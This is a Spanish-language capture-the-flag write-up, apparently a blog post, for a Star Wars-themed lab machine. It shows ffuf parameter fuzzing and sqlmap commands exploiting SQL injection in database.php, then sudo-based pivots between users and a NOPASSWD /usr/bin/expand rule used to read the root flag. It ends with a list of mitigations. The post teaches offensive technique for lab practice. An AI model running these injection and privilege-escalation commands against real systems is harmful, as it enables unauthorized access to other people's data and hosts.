Receta de CyberChef utilizada: https://cyberchef.io/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)&input=Vm0xd1IxVXhSWGxTV0doVVYwZDRXRmxyWkZOalJsWjBaVVYwVmsxWGVIcFpWV00xWVd4YWMxTnNiRnBOTTBKSVdWWlZlRmRIVmtsaVJtaG9UVlp3ZVZkWGRHRlpWbVJJVm10YWFsSnRVbGhhVjNSV1pERmFWVk5xVWxSaVZscFpWVzEwYjFWR1duUmhSbWhXWWtkb1JGWXdXbHBsVjA1R1drZDBUbUpGY0VsV1ZFa3hWakZhV0ZOc2JGWmlSa3BXVm14YWQyRkdjRWRYYkhCc1VteGFlVmt3VlRWV01ERldZMFZ3VjJFeVVYZFpla1poVTBaT2MySkhhRlJTVlhCb1YxZDBZV1F4VWtkaVJGcFRZbXR3YzFacVFuZFNNVnBJVFZoa1ZXSkdiRFpaVlZwaFZqRmFkRlJZYUZkaGExcHlXWHBHZDFKc1pIUmpSazVUWWtoQ1lWWnRNSGRsUjBsNFYydGthRTB5VW1oVmJYTXhZMnhXZEdSSVpGaGlSbkJKV2tWb2ExWXhTbkpqU0d4YVRVZG9NMVp0YzNoV01XUjFVMnhrYUdFelFrbFhhMVpoVXpKT2RGSnJaRkppUlRWUFdXdFdkMDVXV25STlJFWnJUVlpzTlZVeGFHOVdWMHBIWTBkR1ZWWkZjSFpaYWtaWFkxWkdkVnBGTlZOaVJWbDZWMVpXVms1V1draFRhMXBwVWtaS1YxUlhjRmRWUmxweVYyMUdXRkpzU2xwWlZWcDNWakZhZFZGWWNGZFdSVXBvVlhwR2ExTkdTbkpYYlhCVFlrWndXVlpxUW1GVE1ERnpWMjVTYkZKck5WVlVWM040VGxaVmVVNVdUbGRpVlhCSldWVmFiMVl5Um5KalJsSmFWbFp3YUZreFdsTmtSMUpJWWtkc1UwMHhSalpXYWtadlpERlplVkpyV2s1V2JYaFRXV3RvUTFZeFVsZGFSazVxWWtkU1dGWXlkSGRpUmtwelkwUkNWV0pHY0ROWlZWVjRZekZPY21GR1pFNWlhMHBKVjJ0U1MxVXhXWGhhU0ZaV1lsaG9WRlJVUWt0a01XUllUVlJDVkUxc1NucFdiR2h2VjBkRmVHTkdSbGRpV0ZKTVZsUkdWMUl4VmxsYVJrWldWa1JCTlE9PQ

Resultado (descodificado de Base64 7 veces): para escalar te hace falta comprender la narrativa, te echo una mano, de nada! ¡Sigue el poder de la fuerza!
None

Tras volver al archivo "database.php" encontrado previamente, se puede apreciar que este parametriza la consulta concretamente para el parámetro "offset" que es el que parece utilizarse en el formulario oculto. Sin embargo, el otro parámetro denominado "table" se incluye directamente lo que hace que esta consulta sea vulnerable a inyecciones SQL.

Para comprobarlo de una forma práctica, se realiza un descubrimiento de parámetros mediante fuzzing de la funcionalidad como si no se conocieran, para mostrar que podría descubrirse igualmente.

ffuf -u "http://10.0.250.11/kamino/database.php?FUZZ=id" -w "/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt" -fs 243
None

Utilizando SQLMap, se puede comprobar que este parámetro es vulnerable a inyecciones SQL basada en errores.

Aprovechando esta vulnerabilidad es posible extraer la información que contiene la base de datos "adn", tal y como se ha hecho con las credenciales accediendo directamente.

sqlmap -u 'http://10.0.250.11/kamino/database.php?table=jedi*&offset=0' --batch --dbs
None

Enumeración post-explotación (root -> vader)

Una vez con acceso a "root", es posible acceder directamente al usuario "vader".

Al listar los privilegios SUDO, se puede comprobar que el usuario "vader" puede ejecutar el binario "/usr/bin/expand" como el usuario del sistema "root" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (ROOT) NOPASSWD: /usr/bin/expand
# Desde el usuario "obi" se accede a una bash como "root"
/usr/bin/fall_to_the_dark_side
/bin/bash

# Acceso directo como el usuario "vader"
/bin/bash -c 'sudo -u vader bash'
...
  ' ' '''''''''=#= ' ''''-==*#######***===++* -'==+==**###**--+==============-'
'''-''''''''''-*#'''''''--+*#######*******==*-''-*=*########+--===============+
'''''''''' ''''#* ' '''''-'*####*====+=+======---**==********=-+===============
'-'''''''-''''=#=  '' '''-*#*= -=-'---'-''''-=--+ -' ''''''  -++===============
++=+++=++++--'=#= ''''''+*=  '-' '''  ' '''-*='+=-''  '    '    '========**=*==
============+-*# -+='''=+   -  '''-=''' ''''##=-*  ''''      '    =*===*******=
=============+##=-'-'-+    '   ''=##=''' ''-*#=-='  '=*+    '      =*===****=*=
==============#==#**--     ' ''-+=*=-''''''+*='-+=--'-=#'       ' ' =*==*******
==============-*###-+       '-=**##**======*=-'-++==++==*=          '=***=*****
==============*###++       '--++==+==+===****-=-----==*=+    '       '*********
==============###==         '-+==     ''=###*=''==-=+*##==+'-+      ' =********
=============*##*+'    '    ''--+-   '''=****+   -'  +=*=+-'''         =*******
============*###--      '    ''--+'  '+=****'         '-++-'-   '  ''   *******
*===========###=+ '         '  '-++  =***#=             -  -'     '  '  =******
*===*======####-               ''-++*****-               '---       '''' =*****
**=****===*###='     '   -+++--''--+-***'-               ' ++-      ''''  *****
***=***==*###*' ' '     ''''-++++++--===   ''''-''''-''''''+**+     '-'--'=****
**=*****=##*=         '' '+=====+--'''  '     '  '  '''-''         '-+==-'=****
**=*******='''   ' '  ' ''-+++-''''''    ''        '-+--         '  ''-+-=*****
**=*****=*=+-''''''   '----+++--''''''    ''    ---' '-='         ''-===*******
******=-=*==+''-'' '''-++++====+--'''  '  '    -  '+-+*#=   ' -'+====**********
**=***=====-''''--'''-+==========+---''''''''   ' '-+=*##= ' ''-+=====***======
#* -U *****==-''-'''''-===*****======+++++----''''+=***===  ''' ' '++==*==++-++
#*******==++---'-'''''' '-==*###**===========+----=*##*='  ' ' '  ''''+========
No conoces el verdadero poder del Lado Oscuro
~ Darth Vader ~

# Listado de privilegios SUDO
sudo -l
None

Comprobando el binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.org/gtfobins/expand/#shell
None

En este caso, es posible obtener ambas flags asociadas al laboratorio debido a que el usuario "vader" contiene la flag de usuario en su directorio personal y con el privilegio SUDO es posible leer la de "root" directamente. Además se puede observar que deja un legado también accesible.

ls -al
cat legado
...
   _________________________________
  |:::::::::::::;;::::::::::::::::::|
  |:::::::::::'~||~~~``:::::::::::::|
  |::::::::'   .':     o`:::::::::::|
  |:::::::' oo | |o  o    ::::::::::|
  |::::::: 8  .'.'    8 o  :::::::::|
  |::::::: 8  | |     8    :::::::::|
  |::::::: _._| |_,...8    :::::::::|
  |::::::'~--.   .--. `.   `::::::::|
  |:::::'     =8     ~  \ o ::::::::|
  |::::'       8._ 88.   \ o::::::::|
  |:::'   __. ,.ooo~~.    \ o`::::::|
  |:::   . -. 88`78o/:     \  `:::::|
  |::'     /. o o \ ::      \88`::::|   "He will join us or die."
  |:;     o|| 8 8 |d.        `8 `:::|
  |:.       - ^ ^ -'           `-`::|
  |::.                          .:::|
  |:::::.....           ::'     ``::|
  |::::::::-'`-        88          `|
  |:::::-'.          -       ::     |
  |:-~. . .                   :     |
  | .. .   ..:   o:8      88o       |
  |. .     :::   8:P     d888. . .  |
  |.   .   :88   88      888'  . .  |
  |   o8  d88P . 88   ' d88P   ..   |
  |  88P  888   d8P   ' 888         |
  |   8  d88P.'d:8  .- dP~ o8       |   Darth Vader
  |      888   888    d~ o888       |
  |_________________________________|

# Leer flag de usuario
cat user.txt

# Leer flag de root
sudo -u root /usr/bin/expand /root/root.txt
None

Enumeración post-explotación (root -> luke)

Una vez con acceso a "root", es posible acceder directamente al usuario "luke".

Este usuario no parece contener ningún privilegio especial, pero si que contiene un diario de aprendizaje que se ha ido redactando y que puede ser interesante que el lector de esta publicación tenga en cuenta.

/bin/bash -c 'sudo -u luke bash'

cd /home/luke
ls -al
cat diario_aprendizaje_jedi
...

Día 1
Yoda me ha ayudado a entender la importancia de la paciencia y la perseverancia en el camino del aprendizaje. Me ha enseñado que el conocimiento no se adquiere de la noche a la mañana, sino que es un proceso continuo que requiere dedicación y esfuerzo. Estoy emocionado por comenzar este viaje y aprender todo lo que pueda de mi maestro Yoda.
Día 2
Hoy he tenido mi primera lección con Yoda. Me ha enseñado sobre la Fuerza y cómo sentirla a mi alrededor. Me ha mostrado cómo conectar con la Fuerza y cómo usarla para mejorar mis habilidades. Me siento inspirado por su sabiduría y estoy ansioso por seguir aprendiendo más sobre la Fuerza y cómo puedo usarla para ayudar a los demás.
Día 3
Hoy he aprendido sobre la importancia de la mente en el camino del aprendizaje. Yoda me ha enseñado que la mente es una herramienta poderosa que puede ser utilizada para el bien o para el mal. Me ha mostrado cómo mantener mi mente enfocada y cómo evitar distracciones que puedan impedir mi progreso. Estoy agradecido por su guía y estoy comprometido a mantener mi mente abierta y receptiva a nuevas ideas y conocimientos.
Día 4
Hoy he tenido una lección sobre la importancia de la humildad en el camino del aprendizaje. Yoda me ha enseñado que la humildad es esencial para el crecimiento personal y el aprendizaje continuo. Me ha mostrado que no importa cuánto sepa, siempre hay más por aprender y que es importante mantener una actitud humilde para seguir creciendo. Estoy agradecido por esta lección y estoy comprometido a
Día 764
Hoy he alcanzado un gran hito en mi aprendizaje. Después de años de dedicación y esfuerzo, finalmente he dominado la habilidad de controlar la Fuerza. Me siento increíblemente orgulloso de lo que he logrado y estoy agradecido por todo lo que Yoda me ha enseñado a lo largo de este viaje. Sin embargo, sé que el aprendizaje nunca termina y estoy emocionado por seguir explorando y descubriendo nuevas habilidades y conocimientos en el futuro.
Día 765
Hoy he reflexionado sobre todo lo que he aprendido durante mi tiempo con Yoda. Me he dado cuenta de cuánto he crecido y cuánto he cambiado desde que comencé este viaje. He aprendido no solo sobre la Fuerza, sino también sobre mí mismo y sobre la importancia de la paciencia, la perseverancia, la humildad y la mente abierta. Estoy agradecido por todo lo que Yoda me ha enseñado y estoy emocionado por seguir aprendiendo y creciendo en el futuro. Este viaje ha sido increíblemente enriquecedor y estoy emocionado por lo que el futuro me depara en mi camino como Jedi.
None

Mitigaciones a aplicar

  • Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
  • Para evitar la vulnerabilidad SQL Injection, usar siempre consultas preparadas, evitando concatenar datos del usuario en las consultas. Complementar esto con validación estricta de la entrada y aplicando mínimos privilegios al usuario de la base de datos.
  • Evitar aplicar prácticas del tipo "seguridad por oscuridad", aplicando mecanismos de seguridad robustos y auditables con el fin de asegurar funcionalidades críticas o proteger secretos.
  • Evitar malas prácticas como la reutilización de contraseñas entre cuentas o servicios.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com